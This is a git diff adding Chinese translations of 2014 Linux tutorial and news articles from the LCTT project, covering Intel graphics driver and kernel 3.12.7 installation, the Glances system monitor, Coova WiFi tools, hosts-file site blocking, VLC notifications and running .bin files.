$ mkdir -v ubuntu redhat slackware + +![mkdir verbose](http://linoxide.com/wp-content/uploads/2014/01/mkdir_v.png) + +### 总结 ### + +Mkdir 命令也属于一个最基础的命令,对于想要学习 Linux 的朋友这个命令必须掌握。像往常一样,你可以键入**man mkdir**或**mkdir --help**来显示 mkdir 的手册页面和更加深入的探讨。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-mkdir-command/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201403/Daily Ubuntu Tips \342\200\223 Intel Graphics Installer 1.0.3 Released \342\200\223 Supports Ubuntu 13.10.md" "b/published/201403/Daily Ubuntu Tips \342\200\223 Intel Graphics Installer 1.0.3 Released \342\200\223 Supports Ubuntu 13.10.md" new file mode 100644 index 0000000000..b4e7613c81 --- /dev/null +++ "b/published/201403/Daily Ubuntu Tips \342\200\223 Intel Graphics Installer 1.0.3 Released \342\200\223 Supports Ubuntu 13.10.md" @@ -0,0 +1,50 @@ +每日 Ubuntu 小技巧——Intel图形安装程序 1.0.3 发布,支持 Ubuntu 13.10 +================================================================================ + +对于那些使用Intel显卡台式机或者笔记本来运行 Ubuntu Linux 13.10 的用户来说,有件事可能想要完成——安装 Linux 版本的Intel图形安装程序。 + +Linux 版本的Intel图形安装程序允许用户方便地安装最新的Intel图形和视频驱动程序。现在之前,仍不支持 Ubuntu 13.10。 + +如果你想保持目前Intel卡在你机器中的最新驱动程序,你可能需要这个安装程序。它能增强、优化并提供Intel图形硬件最好的用户体验。 + +访问官网:[https://01.org/linuxgraphics/downloads/2013/intelr-graphics-installer-1.0.3-linux][1] + +### 在 Ubuntu 中安装Intel图形安装程序 ### + +如果你确定你的计算机有Intel图形卡,而且你正在运行的版本是 Ubuntu 13.10,继续下面的学习如何安装这个包, + +有些用户安装和配置驱动程序包后曾造成系统问题,所以你应该在安装前持谨慎态度,并备份你的系统。当你完成后,执行下面的命令来下载32位版本的软件包。 + +### 32位 Ubuntu Linux ### + + cd /tmp && wget https://download.01.org/gfx/ubuntu/13.10/main/pool/main/i/intel-linux-graphics-installer/intel-linux-graphics-installer_1.0.3_i386.deb + +对于那些运行64位的 Ubuntu,运行下面的命令来下载64位版本。 + +### 64位 Ubuntu Linux ### + + cd /tmp && wget https://download.01.org/gfx/ubuntu/13.10/main/pool/main/i/intel-linux-graphics-installer/intel-linux-graphics-installer_1.0.3_amd64.deb + +下载完成后,运行以下命令进行安装。 + + sudo dpkg -i intel-linux-graphics-installer*.deb; sudo apt-get -f install + +安装程序安装完毕后,进入 Unity Dash 搜索安装程序。打开后继续。它会为你的设备搜索并确定正确的驱动程序。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/intelgraphicsinstaller.png) + +为了让你的系统信任Intel图形安装程序,您必须运行下面命令来添加 key 到 Ubuntu 的软件库中。 + + wget --no-check-certificate https://download.01.org/gfx/RPM-GPG-KEY-ilg -O - | sudo apt-key add - + +就这么简单。如果你按照以上步骤做了,你的机器应该能正确运行Intel驱动程序。如果不是,可能是你的显卡不兼容,或者是不支持。 + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-intel-graphics-installer-1-0-3-released-supports-ubuntu-13-10/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://01.org/linuxgraphics/downloads/2013/intelr-graphics-installer-1.0.3-linux diff --git "a/published/201403/Daily Ubuntu Tips \342\200\223 Linux Kernel 3.12.7 Released \342\200\223 Here\342\200\231s How To Upgrade In Ubuntu.md" "b/published/201403/Daily Ubuntu Tips \342\200\223 Linux Kernel 3.12.7 Released \342\200\223 Here\342\200\231s How To Upgrade In Ubuntu.md" new file mode 100644 index 0000000000..2214970f00 --- /dev/null +++ "b/published/201403/Daily Ubuntu Tips \342\200\223 Linux Kernel 3.12.7 Released \342\200\223 Here\342\200\231s How To Upgrade In Ubuntu.md" @@ -0,0 +1,62 @@ +每日 Ubuntu 小技巧:怎样在Ubuntu升级新的 Linux Kernel 3.12.7 +================================================================================ + +Linux Kernel 版本3.12.7主线已经发布了,而这篇简短教程将会向你展示怎样简单地在 Ubuntu 中升级。如果你正好运行 Ubuntu 13.10 或者更低版本,还碰巧你的系统还不是安装最新的内核,读完吧。 + +Linux Kernel 是 linux 操作系统的核心,包括了 Ubuntu。内核使 Ubuntu 可以与系统硬件(内存,CPU,设备等等)通信。内核管理资源并掌管你机器设备的所有重要部分。 + +没有 Linux Kernel, Ubuntu 只是一串幻想应用而不能连接硬件或者你机器所有的重要部分。这就是为什么Linux Kernel 如此的重要。 + +### 为什么升级你的 Ubuntu Kernel? ### + +在升级你的系统内核之前,第一件需要知道的事情就是升级可能会破坏你的系统,使它无法使用。事实上,并不推荐你自己升级内核。Ubuntu 的总公司 Canonical 在 Ubuntu 内核升级上做得很好。 + +在新版本发布之前,他们测试并且确定内核的安装是兼容的。所以,如果你的设备工作良好,没有问题,你应该保持现有内核,不要升级。 + +另一方面,如果 Ubuntu 不能识别所有系统的元件或者你的设备功能不正确,升级 Linux kernel 也许会有帮助。 + +这是因为新的内核为你的新机器增加了新的驱动和功能。如果现在安装的内核不支持机器上的某些功能,你应该升级一下。 + +更多关于内核3.12.7,[点这里阅读更新日志][1]。 + +### 现在升级 Linux Kernel ### + +要想升级你的内核,运行下列命令来升级所有安装包和现存内核。 + + sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove + +升级完成后,重启你的设备。在安装完系统包和内核后重启机器是一个好习惯。这样做是为了让新的内核能够被应用。 + +接下来,运行下列命令来下载 Linux Kernel 3.12.7 + +#### 32位设备,运行下列命令 #### + + cd /tmp && wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-headers-3.12.7-031207-generic_3.12.7-031207.201401091657_i386.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-headers-3.12.7-031207_3.12.7-031207.201401091657_all.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-image-3.12.7-031207-generic_3.12.7-031207.201401091657_i386.deb + +#### 64位设备,运行下列命令 #### + + cd /tmp && wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-headers-3.12.7-031207-generic_3.12.7-031207.201401091657_amd64.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-headers-3.12.7-031207_3.12.7-031207.201401091657_all.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12.7-trusty/linux-image-3.12.7-031207-generic_3.12.7-031207.201401091657_amd64.deb + +下载你的系统对应版本后,运行下列命令 + + sudo dpkg -i *.deb + +安装完成后,重启你的设备,如果一切都按照上面描述一样进展顺利,你的系统应该拥有了最新稳定的内核版本。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/linuxkernel3127.jpg) + +卸载内核3.12.7版本,使用下列命令 + + sudo apt-get remove linux-headers-3.12.7-* linux-image-3.13.7-* + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-linux-kernel-3-12-7-released-heres-how-to-upgrade-in-ubuntu/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.12.7 diff --git a/published/201403/Five of the Best Ubuntu 14.04 Wallpaper Contest Entries.md b/published/201403/Five of the Best Ubuntu 14.04 Wallpaper Contest Entries.md new file mode 100644 index 0000000000..e5f3f1df5e --- /dev/null +++ b/published/201403/Five of the Best Ubuntu 14.04 Wallpaper Contest Entries.md @@ -0,0 +1,68 @@ +Ubuntu 14.04 壁纸大赛5幅最佳图片 +================================================================================ +**在最后期限的一个星期前, Ubuntu 14.04壁纸大赛收到了惊人的提交,人人都抢着争做Ubuntu的默认安装图片** + +在三月上旬在面板上选择他们的最爱之前,我已经自己整个翻找了一遍。 + +下面这些突出的选择是否会被选中进入Trusty Tahr是题外话;这些都是一些精彩的截图值得放在任何人的桌面上。 + +### 1. boat2 ### + +![](http://farm4.staticflickr.com/3786/12591084605_eab070c898_c.jpg) + +Christos Kyriazidis 的 boat2 + +### 2. 雾中日出 ### + +![](http://farm6.staticflickr.com/5476/11416120446_00468648c1_c.jpg) + +Brian Fox的雾中日出 + +### 3. IMGP8932 ### + +![](http://farm8.staticflickr.com/7439/11220682974_17279ce2cf_c.jpg) + +Eduardo Diez Viñuela的IMGP8832 + +### 4. 旅行 ### + +![](http://farm4.staticflickr.com/3702/12735618625_0bb7cc61a4_c.jpg) + +Goldenfox的旅行 + +### 5. 翠鸟 ### + +![](http://farm8.staticflickr.com/7329/12484570105_edc0f23381_c.jpg) + +Gilberto Fotos的翠鸟 + +### 最好的猫作品 ### + +作为我们的一个传统,我们同样突出了一个猫主题的提交。为什么?因为猫太酷了,呦!值得庆幸的是(是的,在可爱的小猫之间选择总是很困难的)这是今年仅有的一张猫科动物作品。 + +![](http://farm4.staticflickr.com/3832/12508968534_8001f4e951_c.jpg) + +Hjalte Nielsen的棕色的猫 + +但是谁在乎我们这里的惊讶!-作品池里的哪幅作品你希望成为默认图片? + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/02/ubuntu-14-04-wallpaper-picks + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git "a/published/201403/Glances \342\200\223 An Advanced Real Time System Monitoring Tool for Linux.md" "b/published/201403/Glances \342\200\223 An Advanced Real Time System Monitoring Tool for Linux.md" new file mode 100644 index 0000000000..550c638888 --- /dev/null +++ "b/published/201403/Glances \342\200\223 An Advanced Real Time System Monitoring Tool for Linux.md" @@ -0,0 +1,162 @@ +Linux 系统实时监控的瑞士军刀 —— Glances +================================================================================ +早些时候,我们提到过有很多可以用来监视系统性能的 Linux [系统监视工具][1]。 +但我们估计,或许更多的用户会倾向与绝大多数 Linux 发行版都带的工具 (**top** 命令)。 + +[top 命令][2]是 Linux 下的一个实时任务管理器, +同时也是用于在 **GNU/Linux** 发行版中寻找系统性能方面的瓶颈,并帮助我们作出正确操作的常用系统监视工具。 +她有着一个极为简洁的界面,并自带少量的可以帮助我们快速了解系统性能的实用选项。 + +但是,有些时候想要通过她寻找一个占用系统资源比较大的应用或进程可能会比较困难。 +因为 top 命令本身并不会帮助我们高亮那些吃太多 **CPU**,**内存**,或者其他资源的程序。 + +为了达到这个目标,这里我们将介绍一款超牛逼的系统监视程序 —— **Glances**。 +她可以自动高亮利用最高系统资源的程序,并为 Linux/Unix 服务器提供尽可能多的信息。 + +### 什么是 Glances? ### + +**Glances** 是一个由 Python 编写,使用 **psutil** 库来从系统抓取信息的基于 curses 开发的跨平台命令行系统监视工具。 +通过 Glances,我们可以监视 **CPU,平均负载,内存,网络流量,磁盘 I/O,其他处理器** 和 **文件系统** 空间的利用情况。 + +Glances 是一个用来监视 **GNU/Linux** 和 **FreeBSD** 操作系统的 **GPL** 授权的自由软件。 + +Glances 同时也提供了很多实用的选项。 +其中我们能够在配置文件见到的一项主要的功能就是设置关键值及相应的标签 (**careful[小心]**, **warning[警告]** 和 **critical[严重]**), +然后她会自动帮我们用不同颜色标出系统达到某个瓶颈的信息。 + +### Glances 主要功能 ### + +- CPU 信息 (用户的相关应用, 系统核心程序和空闲程序) +- 总内存信息,包括了物理内存,交换空间和空闲内存等等 +- 之前的 1 分钟、5 分钟和 15 分钟平均的 CPU 负载 +- 网络链接的下行和上行速度 +- 处理器总数,以及其活动状态 +- 硬盘 I/O 相关(读写)速度详情 +- 当前挂载设备的磁盘使用情况 +- 高 CPU 和内存使用的进程名,和相关应用的位置 +- 在底部显示当前日期和时间 +- 将消耗最高系统资源的进程用红色标出 + +下面是一个 Glances 的使用截图: + +![Glances View](http://www.tecmint.com/wp-content/uploads/2014/02/Glances-Monitoring.jpeg) + +### 在 Linux/Unix 系统中安装 Glances ### + +虽然这个工具的发布比较晚,但你仍然可以在 **Red Hat** 系的系统中通过 [EPEL 软件源][3]安装。在终端用下面的命令安装: + +#### 对于 RHEL/CentOS/Fedora 发行版 #### + + # yum install -y glances + +#### 对于 Debian/Ubuntu/Linux Mint 发行版 #### + + $ sudo apt-add-repository ppa:arnaud-hartmann/glances-stable + $ sudo apt-get update + $ sudo apt-get install glances + +### 如何使用 Glances ### + +首先,你需要在终端中输入以下命令 + + # glances + +![Glances Preview – Ubuntu 13.10](http://www.tecmint.com/wp-content/uploads/2014/02/Glances-Screen.jpeg) + +按下 ‘**q**‘ (‘**ESC**‘ 和 ‘**Ctrl-C**‘ 也可以) 退出 Glances 终端。 +这里是从 **CentOS 6.5** 截取的另一张截图: + +![Glances Preview – CentOS 6.5](http://www.tecmint.com/wp-content/uploads/2014/02/Glances-Screen-Centos.jpeg) + +Glances 的默认刷新频率是 **1** (秒),但是你可以通过在终端指定参数来手动定义其刷新频率 + + # glances -t 2 + +### Glances 中颜色的含义 ### + +Glances 会用一下几种颜色来代表状态: + +- 绿色:OK(一切正常) +- 蓝色:CAREFUL(需要注意) +- 紫色:WARNING(警告) +- 红色:CRITICAL(严重) + +阀值可以在配置文件中设置,一般阀值被默认设置为(**careful=50**、**warning=70**、**critical=90**)。 + +我们可以按照自己的需求在配置文件(默认在 **/etc/glances/glances.conf**)中自定义。 + +### Glances 的选项 ### + +除了很多命令行选项之外,Glances 还提供了更多的可在其运行时开关输出信息选项的**快捷键**,下面是一些例子: + +- a – 对进程自动排序 +- c – 按 CPU 百分比对进程排序 +- m – 按内存百分比对进程排序 +- p – 按进程名字母顺序对进程排序 +- i – 按读写频率(I/O)对进程排序 +- d – 显示/隐藏磁盘 I/O 统计信息 +- f – 显示/隐藏文件系统统计信息 +- n – 显示/隐藏网络接口统计信息 +- s – 显示/隐藏传感器统计信息 +- y – 显示/隐藏硬盘温度统计信息 +- l – 显示/隐藏日志(log) +- b – 切换网络 I/O 单位(Bytes/bits) +- w – 删除警告日志 +- x – 删除警告和严重日志 +- 1 – 切换全局 CPU 使用情况和每个 CPU 的使用情况 +- h – 显示/隐藏这个帮助画面 +- t – 以组合形式浏览网络 I/O +- u – 以累计形式浏览网络 I/O +- q – 退出(‘**ESC**‘ 和 ‘**Ctrl&C**‘ 也可以) + +### 远程使用 Glances ### + +你甚至也可以通过 Glances 来监视远程系统。 +要在远程系统使用 ‘**glances**’,需要在服务器运行 ‘**glances -s**’(-s 启动服务器/客户端模式)命令。 + + # glances -s + + Define the password for the Glances server + Password: + Password (confirm): + Glances server is running on 0.0.0.0:61209 + +**注意**:当你执行了‘**glances**’命令后,她会让你为 Glances 服务器设置密码。 + +当你设置完毕,你将看到 “Glances server is running on 0.0.0.0:61209” (Glances 服务器正在 0.0.0.0 的 61209 端口运行)的消息。 + +当 Glances 服务器启动后,到本地执行下面的命令来指定服务器IP地址或主机名以链接。 + +注:这里的 ‘**172.16.27.56**’ 是我 Glances 服务器的 IP 地址。 + + # glances -c -P 172.16.27.56 + +下面是一些在使用服务器/客户端模式时必须知道的事情: + + * 在服务器模式,你可以通过 `-B 地址` 来设置绑定地址,也可以通过 `-p 端口` 来绑定监听的 TCP 端口 + * 在客户端模式,你可以通过同样的 `-p 端口` 来指定服务器端口 + * 默认的绑定地址是 0.0.0.0,但这么做会监听所有网络接口的指定端口 + * 在服务器/客户端模式下,限制的阀值将由服务器的设置决定 + * 你也可以在命令行下用过 `-P 密码` 的方式来为服务器端设置一个密码 + +### 总结 ### + +**Glances** 对于大多用户而言是个在系统资源上提供过多信息的工具。但是如果你是一个想要仅从命令行就能快速获取系统整体状况的系统管理员,那这个工具绝对是你的必备利器。 + +### 译者注 ### + +1. 请不要将 glances(本文中的工具)和 glance(一个 OpenStack 的工具)这两个包搞混了 +2. Ubuntu 官方 Extra 源中的 glances 因为 python 库移动的问题导致无法正常使用 +但可以通过建立软链接的方式临时修复:sudo ln -s /usr/lib/python2.7/dist-packages/glances /usr/share/pyshared/glances + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/glances-an-advanced-real-time-system-monitoring-tool-for-linux/ + +译者:[VizV](https://github.com/vizv) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/command-line-tools-to-monitor-linux-performance/ +[2]:http://www.tecmint.com/12-top-command-examples-in-linux/ +[3]:http://www.tecmint.com/how-to-enable-epel-repository-for-rhel-centos-6-5/ diff --git a/published/201403/Hardware, software, standards.md b/published/201403/Hardware, software, standards.md new file mode 100644 index 0000000000..9ef70da9c8 --- /dev/null +++ b/published/201403/Hardware, software, standards.md @@ -0,0 +1,64 @@ +COOVA:硬件,软件和标准 +-------------------------------------------- +Coova背后的理念非常简单:给你提供可以用来管理与访问自己WiFi网络的开源并免费的工具与服务,你可以有最大的自由度去使用它们。我们的哲学就是:你不需要使用任何特别的硬件(如[FON][1]或者[Meraki][2])或软件(如[Whisher][3])。从本质上来说,Coova是开放并且基于标准的,也就是说它可以兼容尽可能广泛的硬件,协议与服务。Coova将“[Carrier][4]”的grade特色与服务带向了开源界与服务界。它也让笨拙的router更智能了一点--废物利用很不错,不是吗? + +在Coova中,你可以根据你要构建的网络的种类与你访问这些网络的方式来挑选你需要的软件与服务。下面是一些Coova技术的典型应用: + +#### 使用[CoovaAP][5]来简化[CoovaChilli][6](或[WiFiDog][7])的配置: + +* 使用或者不适用CoovaAAA服务, +* 使用RADIUS或者本机定义的用户, +* 使用定制的“内部”入网门户,或者 +* 配置使用你自己的门户或者使用RADIUS服务。 + +#### 在[CoovaAP][5]或者你自己的固件或者服务器中使用[CoovaChilli][6],以实现如下功能: + +* 使用CoovaAAA或者其他门户/RADIUS服务,加强入网门户和身份认证, +* 与多种商业服务协调工作(具体询问供应商), +* 与802.1X身份认证整合以提供账号与访问限制。 + +#### 使用[CoovaAAA][8]管理你的网络的访问: + +* 使用CoovaChilli/AP入网门户, +* 使用打过补丁的WiFiDog入网门户, +* 使用[你自己的入网门户][9](不需要高级编程), +* 使用我们的Facebook或者标准入网门户应用, +* 使用商业访问控制器(如Colubris),或者 +* 使用任何支持WPA Enterprise/802.1X(如AirPort Extreme)的router. + +#### 使用和共享你的[CoovaAAA][8]控制下的网络: + +* 使用一个账户既登陆你的入网门户也登陆你的安全WPA Enterprise网络(使用任何支持802.1X的设备,如你的笔记本电脑或者Nokia手机) +* 在任何与你共享过的[CoovaAAA][8]地点使用你的账号, +* 选择性给你要共享的个人或者全体共享你的网络,或者 +* 依照[OpenID][10]登陆或者Facebook粉丝/朋友共享网络。 + +#### 在Firefox或者你的手机上各自使用[CoovaFX][11]与[CoovaSX][12],来通过WISPr标准登陆一个入网门户和一个预先配置好的账号。WISPr被CoovaAAA,绝大部分的商业访问控制器和服务供应商支持。 + +#### 使用[JRadius][13]为你的网络编写你自己的RADIUS设置逻辑。 + +如果你正在构建一个WiFi网络,但在本网站上未找到任何可以帮助你的信息,那你可能看得不够用心。虽然已经说过,我们确实承认我们需要更多的文档。正因为如此,我们呼吁研发与用户社区在wiki,[论坛][14]和[mailing lists][15]上给我们提供帮助。注意:我们确实关闭了一些页面来阻止SPAM(垃圾邮件)来创建新的页面或者在mailing lists中请求获得更多的权限。 + +我们也希望听到更多的关于你如何使用或者在何处使用Coova的消息。实际上,我的一个朋友最近正在多米尼亚共和国度假,他很惊奇地发现在宾馆中可以找到Coova的信号。他们为他们的WiFi采用了CoovaAP技术。像这样的故事非常棒,请让他们出现在论坛中! + +__________________________________________________________________________ +via: http://coova.org/node/133 +译者: [Hao-Ding](https://github.com/Hao-Ding) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: https://corp.fon.com/en +[2]: https://meraki.cisco.com/ +[3]: http://www.whisher.com/ +[4]: https://meraki.cisco.com/blog/2008/04/new-carrier-services/ +[5]: http://coova.org/CoovaAP +[6]: http://coova.org/CoovaChilli +[7]: http://dev.wifidog.org/ +[8]: http://coova.org/CoovaAAA +[9]: http://coova.org/node/80 +[10]: http://coova.org/node/71 +[11]: http://www.coova.com/CoovaFX +[12]: http://www.coova.com/CoovaSX +[13]: http://coova.org/JRadius +[14]: http://coova.org/forum/ +[15]: http://coova.org/MailingLists \ No newline at end of file diff --git "a/published/201403/Here are Facebook\342\200\231s 9 top open-source projects from 2013.md" "b/published/201403/Here are Facebook\342\200\231s 9 top open-source projects from 2013.md" new file mode 100644 index 0000000000..facc262174 --- /dev/null +++ "b/published/201403/Here are Facebook\342\200\231s 9 top open-source projects from 2013.md" @@ -0,0 +1,43 @@ +2013年Facebook排名前9位的开源项目 +================================================================================ +Facebook和开源项目之间的关系就像Jay-Z和碧昂丝一样 —— 二者缺一不可 + +如果把Blue Ivy看作是后两者结合的产物的话,那么这个孩子就相当于Facebook的React, Rebound, HipHop, 以及其他的一些开源项目. + +正如Facebook的开源项目领导者詹姆斯·皮尔斯在公司博客上面所写的那样:“从Facebook的第一行PHP代码以及它的第一个MySQL插入语句开始,开源就已经成为其工程哲学的一部分了。 + +下面提供了一个在2003年中,Facebook在开源社区中的贡献。(警告:放弃希望吧,走进来的那些非技术人员。) + +1. [xctool][1]: 一个苹果xcodebuild的替代品,它使得创建和测试IOS和MAC工程更加容易 +1. [Buck][2]: 一个Android/Java的构建工具,用来更好更快的构建安卓APP +1. [Rebound][3]: 一个JAVA动画库 [查看更详细的解释][4] +1. [React][5]: 一个用来建立全新用户接口的JavaScript库 +1. [Regenerator][6]: 一个Node.js工具,用以相同方式工作的JavaScript-of-today(简称为ECMAScript 5 或 ES5)来替代generator functions。 +1. [Huxley][7]: 一个测试系统,用来捕捉Web应用程序的可视变化。它查看你的浏览器,进行屏幕截图,并在它们发生变化的时候告知你。 +1. [Presto][8]: 一个分布式的SQL引擎,用来对从gigabytes到petabytes范围内的数据源进行交互式的分析查询 +1. [RocksDB][9]: 一个用来进行快速存储的持久键值存储器。 RocksDB也可以作为客户端服务器数据库的基础,但我们现阶段关注的是嵌入式工作负载。 +1. 以及今天刚发布的 [Origami][10]: 面向quartz composer的一个免费的原型设计工具。你只需要阅读我们的 [全文][11] 即可! + +”正如著名的Facebook座右铭所说,我们的开源工程仍然只完成了百分之一“,皮尔斯总结道。 + +“我们知道,在上面的任何一个主题上,我们仍然有大量的工作要做。 我们很幸运我们的工程能有如此热情的社区支持,而随之而来的,我们也肩负这巨大的责任。” + +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2013/12/20/here-are-facebooks-9-top-open-source-projects-from-2013/ + +译者:[Linchenguang ](https://github.com/Linchenguang ) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/facebook/xctool +[2]:http://facebook.github.io/buck/ +[3]:http://facebook.github.io/rebound/ +[4]:http://venturebeat.com/2013/12/10/how-facebook-could-save-the-mobile-web-starting-with-open-sourcing-its-secret-tools/ +[5]:http://facebook.github.io/regenerator/ +[6]:http://facebook.github.io/regenerator/ +[7]:https://github.com/facebook/huxley +[8]:http://prestodb.io/ +[9]:http://rocksdb.org/ +[10]:http://facebook.github.io/origami/ +[11]:http://venturebeat.com/2013/12/20/you-can-now-build-an-interactive-mobile-app-no-code-required-thanks-to-facebook/ diff --git a/published/201403/How To Block A Website In Ubuntu.md b/published/201403/How To Block A Website In Ubuntu.md new file mode 100644 index 0000000000..5fad5ae175 --- /dev/null +++ b/published/201403/How To Block A Website In Ubuntu.md @@ -0,0 +1,41 @@ +如何在Ubuntu中屏蔽一个网站 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/block-websites.jpg) + +亲爱的**ubuntu**极客们, + +在本教程中我将教你如何通过编辑**/etc/hosts**文件来屏蔽在Ubuntu Linux上不受欢迎的网站,这是用来处理DNS和Linux网络的系统文件。 + +我很喜欢这种方法,因为我不需要依靠第三方应用程序,这是非常容易使用的。您需要做的就是在**/etc/hosts文件**文件中做一个简单的变化。 + +请确保您有使用此方法时在机器上处于root用户访问状态,因为**/etc/hosts文件**文件由root用户拥有的,所以它不能被不被普通用户编辑。 + +编辑 **/etc/hosts** 文件您需要什么?root权限和一个文本编辑器。 + +在本教程中我将用我喜欢的文本编辑器,vim。好了,打开一个新的终端(**CTRL+ALT+T**),然后运行下面的命令来打开/etc/hosts文件进行编辑。 + + vim /etc/hosts + +添加下面这行 + + 127.0.0.1 domain.com + +更换domain.com为你要屏蔽的网站,你完成了编辑处理后,保存该文件并退出。 + +现在是时候来测试该方法是否成功了。尝试访问你屏蔽的网站。 + +我的表弟是沉迷于Facebook的社交网络,每次他发现我的笔记本电脑的时候,他就打开它,并去facebook.com陪陪他的朋友。 + +我应该怎么做呢? + +我编辑**/etc/hosts**文件,这样他想访问的网站就像已关闭了一样。 + +您也可以使用这个方法来保护孩子免受互联网成人内容的危害,如色情和恐怖电影。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/block-website-ubuntu/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/How To Enable Desktop Notification For VLC In Ubuntu 13.10 [Quick Tip].md b/published/201403/How To Enable Desktop Notification For VLC In Ubuntu 13.10 [Quick Tip].md new file mode 100644 index 0000000000..b8bb905db3 --- /dev/null +++ b/published/201403/How To Enable Desktop Notification For VLC In Ubuntu 13.10 [Quick Tip].md @@ -0,0 +1,46 @@ +快速技巧:如何在 Ubuntu 13.10 下启用 VLC 桌面通知 +================================================================================ + +我必须说 VLC 是目前最好的视频文件播放器。VLC 播放器有许多隐藏特性你可能还不知道。其中一个就是桌面通知。在本教程中,我们将会看到**如何在 Ubuntu 13.10 和其它版本下启用 VLC 桌面通知**。 + +### 在 Ubuntu 下启用 VLC 桌面通知: ### + +要想在 Ubuntu 下启用桌面通知,依照下面步骤进行: + +#### 步骤 1: #### + +打开 VLC 播放器。在顶部菜单内,进入 **Tools**,接着进入 **Preferences**。 + +**VLC->Tools->Preferences** + +![](http://itsfoss.com/wp-content/uploads/2014/02/VLC_Notification_Ubuntu.jpeg) + +#### 步骤 2: #### + +选择底部的 **All** 按钮: + +![](http://itsfoss.com/wp-content/uploads/2014/02/VLC_Notification_Ubuntu_1.jpeg) + +#### 步骤 3: #### + +现在从左边栏中选择 **Control interfaces**。在这里,选择 **LibNotify Notification Plugin** 并保存。这个会在带 Unity 的 Ubuntu 中启用桌面通知。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/VLC_Notification_Ubuntu_2.jpeg) + +默认通知会显示4000ms也就是4秒。你可以通过控制接口下的通知选项来更改。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/VLC_Notification_Ubuntu_3.jpeg) + +就这么简单!你可以在播放音频或者视频文件的时候看到通知。它与 Ubuntu 环境完美地整合在一起: + +![](http://itsfoss.com/wp-content/uploads/2014/02/VLC_Notification_Ubuntu_4.jpeg) + +我希望这个启用桌面通知的快速技巧能使你的 VLC 更加 Ubuntu化,更加时尚化。你觉得如何? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/enable-desktop-notification-vlc-ubuntu/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/How To Execute bin Files In Linux.md b/published/201403/How To Execute bin Files In Linux.md new file mode 100644 index 0000000000..d9cf576120 --- /dev/null +++ b/published/201403/How To Execute bin Files In Linux.md @@ -0,0 +1,38 @@ +如何在 Linux 下执行 bin 文件 +================================================================================ + +嗨,各位 **Linux** 极客们, + +在这篇简短教程中,我会指导你们如何在你的 Linux 机器上安装 **.bin** 文件。并不是一些可怕的终端命令,我保证!但是我同样会展示如何在终端上操作 。 + +###什么是 .bin 文件? + +.bin 文件是在 Linux 和类 Unix 操作系统上的自执行文件。在执行 .bin 文件之前,你需要给它执行权限。这可以通过命令行或者 gui 完成。如果你喜欢用命令行那么打开一个新的终端并运行如下的命令来给予文件执行权限。 + + chmod +x filename.bin + +接着用下面的命令执行。 + + ./filename.bin + +确保你在运行上面的命令的时候是超级用户。 + +那又如何从 gui 来完成呢?进入 .bin 文件的目录并点击鼠标右键,接着如下图所示进入属性。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/exec1.png) + +选择 **Permissions** 并勾选 **Allow executing file as a program** 。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/exec2.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/exec3.png) + +双击文件后它就会执行。这样就完成了。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/execute-bin-files-linux/ + 